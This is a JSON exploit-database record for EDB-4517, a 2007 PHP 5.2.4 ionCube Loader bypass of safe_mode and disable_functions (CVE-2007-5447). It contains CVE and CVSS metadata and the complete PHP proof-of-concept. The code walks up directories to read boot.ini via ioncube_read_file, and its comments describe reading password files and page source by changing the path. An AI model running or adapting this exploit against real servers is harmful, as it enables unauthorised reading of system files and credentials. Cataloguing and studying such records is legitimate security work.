{"exploit":{"id":"EDB-4517","name":"PHP 5.2.4 ionCube - 'ioncube_read_file' Safe Mode / disable_functions Bypass","description":"PHP 5.2.4 ionCube - 'ioncube_read_file' Safe Mode / disable_functions Bypass","cves":["CVE-2007-5447"],"author":"shinnai","published":"2007-10-11","platform":"windows","type":"local","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4517","path":"exploits/windows/local/4517.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4517.php","vulnerabilities":[{"id":"CVE-2007-5447","state":"PUBLISHED","title":null,"titleSource":null,"description":"ioncube_loader_win_5.2.dll in the ionCube Loader 6.5 extension for PHP 5.2.4 does not follow safe_mode and disable_functions restrictions, which allows context-dependent attackers to bypass intended limitations, as demonstrated by reading arbitrary files via the ioncube_read_file function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5447","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5447"},"updatedAt":"2024-08-07T15:31:59.039Z","retrievedAt":"2026-11-27T00:11:40.654Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4517.png?v=2","url":"https://exploitbin.com/exploits/EDB-4517","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4517/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4517/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass\n\n//author: shinnai\n//mail: shinnai[at]autistici[dot]org\n//site: http://shinnai.altervista.org\n\n//Tested on xp Pro sp2 full patched, worked both from the cli and on apache\n\n//Technical details:\n//ionCube version: 6.5\n//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)\n//url: www.ioncube.com\n\n//php.ini settings:\n//safe_mode = On\n//disable_functions = ioncube_read_file, readfile\n\n//Description:\n//This is useful to obtain juicy informations but also to retrieve source\n//code of php pages, password files, etc... you just need to change file path.\n//Anyway, don't worry, nobody will read your obfuscated code :)\n\n//greetz to: BlackLight for help me to understand better PHP\n\n//P.S.\n//This extension contains even an interesting ioncube_write_file function...\n\nif (!extension_loaded(\"ionCube Loader\")) die(\"ionCube Loader extension required!\");\n\n$path = str_repeat(\"..\\\\\", 20);\n\n$MyBoot_readfile = readfile($path.\"windows\\\\system.ini\"); #just to be sure that I set correctely disable_function :)\n\n$MyBoot_ioncube = ioncube_read_file($path.\"boot.ini\");\n\necho $MyBoot_readfile;\n\necho \"<br><br>ionCube output:<br><br>\";\n\necho $MyBoot_ioncube;\n?>\n\n# milw0rm.com [2007-10-11]","sha256":"b12fd8ef7dd990a30e79f76bc0e97706c6fc000330c13bbdb142d105d8cff0dd","bytes":1275,"fetchedAt":"2026-11-27T00:11:37.858Z","encoding":"utf-8 (display only; download retains original bytes)"}